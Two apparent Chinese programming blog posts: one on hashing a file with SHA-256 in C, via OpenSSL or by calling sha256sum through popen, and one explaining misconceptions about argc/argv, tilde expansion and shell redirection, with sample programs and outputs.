点此查看更多信息aes.h asn1err.h asn1.h asn1_mac.h asn1t.h asyncerr.h async.h bioerr.h bio.h blowfish.h bnerr.h bn.h buffererr.h buffer.h camellia.h cast.h cmac.h cmserr.h cms.h comperr.h comp.h conf_api.h conferr.h conf.h cryptoerr.h crypto.h cterr.h ct.h des.h dherr.h dh.h dsaerr.h dsa.h dtls1.h ebcdic.h ecdh.h ecdsa.h ecerr.h ec.h engineerr.h engine.h e_os2.h err.h evperr.h evp.h hmac.h idea.h kdferr.h kdf.h lhash.h md2.h md4.h md5.h mdc2.h modes.h objectserr.h objects.h obj_mac.h ocsperr.h ocsp.h opensslconf.h opensslv.h ossl_typ.h pem2.h pemerr.h pem.h pkcs12err.h pkcs12.h pkcs7err.h pkcs7.h rand_drbg.h randerr.h rand.h rc2.h rc4.h rc5.h ripemd.h rsaerr.h rsa.h safestack.h seed.h sha.h srp.h srtp.h ssl2.h ssl3.h sslerr.h ssl.h stack.h storeerr.h store.h symhacks.h tls1.h tserr.h ts.h txt_db.h uierr.h ui.h whrlpool.h x509err.h x509.h x509v3err.h x509v3.h x509_vfy.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <openssl/sha.h>
#include <stdio.h>

int main(void)
{
unsigned char result[SHA256_DIGEST_LENGTH];
char *filename = "README.md";

FILE *file = fopen(filename, "rb");
SHA256_CTX hash;

if (file == NULL)
{
perror("fopen");
return 1;
}
SHA256_Init(&hash);

ssize_t size;
unsigned char buf[4096];

while ((size = fread(buf, 1, 4096, file)) != 0)
{
SHA256_Update(&hash, buf, size);
}
SHA256_Final(result, &hash);
for (size_t i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
printf("%02x", result[i]);
}
fclose(file);
return 0;
}

本方案调用了 openssl 提供的 sha.h 比自行实现 Hash函数 能方便一点点.使用本方案的程序在编译时需要使用 -lssl-lcrypto 参数链接相关的库.

方案3 进程间通信调用其他程序

GNU/Linux 中通常含有 sha256sumsha512summd5sum 等程序,并支持以类似 sha256sum <path> 的格式直接调用.那么,就可以使用 popen 函数完成进程间通信,直接获取文件的 Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
int main(void)
{
FILE *target;
target = popen("sha256sum ~/README.md", "r");
if (target == NULL)
{
perror("popen");
}
char hash[65];
fscanf(target, "%64s", hash);
printf("%s\n", hash);
pclose(target);
return 0;
}

这种方式的好处显而易见「方便」,这种方法是也最容易理解的.

值得多说一句的是:Hash 函数生成的 Hash 是一个由函数决定的常数(例如:SHA-256的结果以字符串输出有 64可打印字符 ),这个特性使得 数组的长度读取的输出长度 是确定的.

测试环境

OS : Arch Linux

Kernel : 5.9.14-arch1-1

openssl : 1.1.1i 8 Dec 2020

gcc : 10.2.0

参考资料

1. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社

命令行参数的误解

命令行参数的误解

前言

我们都知道C语言中允许main函数拥有0个或2个参数,但也存在部分操作系统向程序传入更多的参数,还有部分实现中对标准进行扩展,允许main函数拥有更多的参数
命令行参数作为main函数的两个参数被传递给程序,这两个参数通常被命名为int argc,char **argv,其中argc为参数的数量,argv为一个指向内含 argc + 1char 类型指针指针数组

但仅用这段话进行描述可能难以对命令行参数有一个正确的认识,这种描述可能对命令行参数的理解不利.
我们先来分析一个程序.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* ShowCommandLineArgument.c   */
#include <stdio.h>
int main(int argc, char **argv)
{
printf("argc:%d\n", argc);
for (int i = 0; i < argc; i++)
printf("argv[%d]:%s\n", i, argv[i]);
//argv[i]就是*(argv+i),很明显是一个指向char的指针
//程序并不以%s打印argv[argc],而是退出循环.

//请不要忘记:表达式(argv[argc]==NULL)为真
printf("argv[%d]:%p\n", argc, argv[argc]);
return 0;
}

在笔者的电脑中,该文件被存储在/home/admin/blog/ShowCommandLineArgument.c,输入命令 gcc ShowCommandLineArgument.c 进行编译,得到a.out,并以cd && ./blog/a.out -f ~/bolg/test1.md >./blog/test2.md /home/admin/blog/test3.md ./blog/test4.md执行该程序.

请思考,该程序会输出什么内容?你是否认为程序的输出为

1
2
3
4
5
6
7
8
9
argc:6
argv[0]:a.out
argv[1]:-f
argv[2]:~/bolg/test1.md
argv[3]:>./blog/test2.md
argv[4]:/home/admin/blog/test3.md
argv[5]:./blog/test4.md
argv[6]:(nil)


什么?你说没看到输出?请认真查看笔者输入的指令,其中包括了 >./blog/test2.md 意味把 a.out标准输出 重定向至文件./blog/test2.md .所以笔者使用 cat >./blog/test2.md 查看输出的内容,该程序在笔者的设备上的输出为:
1
2
3
4
5
6
7
argc:5
argv[0]:./blog/a.out
argv[1]:-f
argv[2]:/home/admin/bolg/test1.md
argv[3]:/home/admin/blog/test3.md
argv[4]:./blog/test4.md
argv[5]:(nil)

是不是和你的预期不尽相同,请听笔者逐一解释.

常见误区

误区1—-「认为 argv[0] 存储文件名」

实际上,argv[0] 会存储调用的指令中的第一个字符串,而不是文件名,strcmp(argv[0],__FILE__)并不总为0

误区2—-「认为命令行参数总是被原样传递」

在上面的例子中可以发现,相对路径 ~/blog/test1.md 作为命令行参数传给程序,程序收到的实际上是文件的绝对路径 /home/admin/blog/test3.md
但同为相对路径./blog/a.out./blog/test4.md却可以正常传递给程序,而不被转换为绝对路径
其他的相对路径写法是否能被正常传递?笔者在此使用由 ShowCommandLineArgument.c 编译得到的 a.out 文件继续测试.使用的指令为 ~/blog/a.out ./test/../blog/test1.md ../test2.md ~admin/blog/test3.md 由这两次测试,笔者大胆猜测只有以 ~ 开头的相对路径会被转换为绝对路径 然后才传递给程序.

1
2
3
4
5
6
argc:4
argv[0]:/home/admin/blog/a.out
argv[1]:./test/../blog/test1.md
argv[2]:../test2.md
argv[3]:/home/admin/blog/test3.md
argv[4]:(nil)

为什么要这么做呢?

请分析笔者的这个程序.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
int main(void)
{
char path1[] = "./blog/test2.md";
char path2[] = "~/blog/test2.md";
char path3[] = "~admin/blog/test2.md";
char path4[] = "~/blog/test2.md";
char path5[] = "../blog/test2.md";

if (fopen(path1, "r") == NULL)
perror("path1");
else
printf("1Success\n");
if (fopen(path2, "r") == NULL)
perror("path2");
else
printf("2Success\n");
if (fopen(path3, "r") == NULL)
perror("path3");
else
printf("3Success\n");
if (fopen(path4, "r") == NULL)
perror("path4");
else
printf("4Success\n");
if (fopen(path5, "r") == NULL)
perror("path5");
else
printf("5Success\n");
return 0;
}

笔者用cd && ./blog/a.out调用该程序编译得到的可执行文件,得到的输出为:

1
2
3
4
5
1Success
path2: No such file or directory
path3: No such file or directory
path4: No such file or directory
path5: No such file or directory

我们可以惊讶的发现只有第一次成功的打开了文件,其他4次操作全部报错.当然,其中第五次打开文件的操作失败是理所当然的,因为确实没有这个文件存在.笔者复制该可执行文件至~/test/a.out后重新执行该程序即发现,第5次文件打开操作成功了.

1
2
3
4
5
path1: No such file or directory
path2: No such file or directory
path3: No such file or directory
path4: No such file or directory
5Success

这说明:fopen()无法识别以~开头的相对路径,也体现了命令行参数在传递过程中,转换以~开头的相对路径绝对路径的必要性.

误区3—「认为重定向是命令行参数」

重定向虽然也在命令行参数的位置,但和命令行参数具有本质的区别.

实践说明重定向指令不会被当中命令行参数传递给程序.

在开发中应该小心,防止误认,也需防止命令行参数中出现相关符号被系统当做重定向指令,导致命令行参数传递错误.

测试环境

OS: Arch Linux
Kernel: x86_64 Linux 5.8.14-arch1-1

参考书籍

1. Stephen Prata.C Primer Plus[M].第六版.姜佑,译.北京:人民邮电出版社
2. Kenneth.A.Reek.C和指针[M].徐波,译.北京:人民邮电出版社.2008